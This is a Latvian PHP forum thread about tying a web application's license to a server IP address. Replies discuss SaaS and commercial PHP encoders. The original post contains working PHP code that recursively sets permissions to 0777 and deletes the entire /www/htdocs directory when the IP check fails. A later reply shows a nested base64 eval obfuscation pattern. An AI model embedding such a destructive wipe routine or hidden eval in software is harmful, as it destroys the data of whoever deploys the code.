Jump to content
php.lv forumi

pret izplatīšanu ..


snach15

Recommended Posts

vēršos pie jums jo interesē viena lietiņa .. ko man vajadzetu iekodēt webā lai izveidot tādu lietu kad websaitu atļauj lietot tikai no noteiktas ip adreses .. piemērm 127.0.0.1 bet ja mēgina uz webserveri uzlikt piemēram no 80.233.233.233 tad uzrāda erroru vai kautko tamlīdzīgu .. viena lieta būtu to uzrakstīt ar ifu un salīdzināt piemēram šādi bet tur atkal ir tāds joks kad jebkurš var šo lietu editēt jeb vispār nodzēst. .. aizkodēt ar zend ? zendu arī var viegli atkodēt ... kāds būtu tas risinājums šajā gadījumā?

$allowed = "127.0.0.1";
if ($_SERVER["SERVER_ADDR"] == $allowed ) {
include("themes/default/header.php");}

 

papildus vēl uztādīju piemēram kad pēc mēginājuma atvērt webu un ja ip nesakrīt tad uzreiz izdzēš visu direktoriju ... bet ar to vienalga nepietiek ..

$allowed = "127.0.0.1";
if ($_SERVER["SERVER_ADDR"] == $allowed ) {
include("themes/default/header.php");
}
else {
echo "Tava licenze ir nederiga";

define('PATH', '/www/htdocs');
function destroy($dir) {
   $mydir = opendir($dir);
   while(false !== ($file = readdir($mydir))) {
       if($file != "." && $file != "..") {
           chmod($dir.$file, 0777);
           if(is_dir($dir.$file)) {
               chdir('.');
               destroy($dir.$file.'/');
               rmdir($dir.$file) or DIE("couldn't delete $dir$file<br />");
           }
           else
               unlink($dir.$file) or DIE("couldn't delete $dir$file<br />");
       }
   }
   closedir($mydir);
}
destroy(PATH);
}

Edited by snach15
Link to comment
Share on other sites

ideja no vienas puses nav slikta, ja to preizajā vietā izmanto.

 

bet varbūt gluži nevajdzētu dzēst :D - tas tā pārdomām.

 

 

Tas varētu noderēt, ja tu izstrādā super web aplikāciju, kuru var integrēt lapā un pārdod.

 

Tad licenzi piesaisti IP un ja ļaunais lietotājs to nodot trešajai personai, tad tas tiek paziņots & bloķēts.

 

Bet cik tas ir reāli un nepieciešami.....

Link to comment
Share on other sites

Pa lielam viss web aplikāciju lauciņā pēdējā laikā dodas SAS (Software As Service) virzienā. Tas nozīmē, ka tu programmē un hostē, klienti tev maksā ikmēneša maksu. Manuprāt ļoti jēdzīgs variants, kā darboties, jo tev nav jādomā, kā pēc tam atjaunot programmatūru uz 100 klientu serveriem pēc kādas kritiskas kļūdas salabošanas. Tas uzreiz arī automātiski nozīmē, ka tev nav nevienam jādod savs izejas kods.

Link to comment
Share on other sites

nu paldies par šo kritiku bet vairāk gan man interesē tieši kā to panākt ... labi pa dzēšanu es bišk neaizdomājos un īstenībā tam nemaz nebūtu nekāda jēga jo reali webs var būt palicis uz dekstopa kautvai rar formātā ... vārdu sakot negribu lai saits tieši nonāk 3 personas rokās ...

Link to comment
Share on other sites

You have to spend money to make money:

http://www.ioncube.com/sa_encoder.php

http://www.phpshield.com/

http://www.sourceguardian.com/protect_php_scripts.html

 

Neiesaku nevienu no variantiem.

Gudrie tāpat atradīs veidu kā apiet - pret muļķiem varētu palīdzēt vairākkārtēja koda aizkodēšana:

<?

eval(base64decode(base64decode(base64decode(base64decode('VTJ0b1Rsb3hRbFJSVjNSWlRWVTFSMVpYZUdGU2JGWnpZekkxYWxJd1dqVlhWbU40WWtkU1NWTnVj

RXROVkVFelVrWkdkMk5HY0hCYQ0KTW5ScVpWVkZOVlZHVVhkYU1HOTZXa1JPYXcwS1pWUldNRmRX

WXpGbGJIQklUMWhTWVZaNlZqWlVSekUwVFdjd1MxTnViSE5PTUZKUw0KWWpOYVRVMHhjSGRaZWs1

T1dqSktTRkp0YkdoVlZFSk1XbXhGZDFNeGNGaGxTSEJoVlRCSk13MEtVa1pHZG1ScmQzcFhia0px

VFRBeA0KYmxsNlNqUmpSMFY2Vlc1Q1JWVllRVFU9')))));

?>

kur kodā iestrādāta pārbaude pret adresi...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...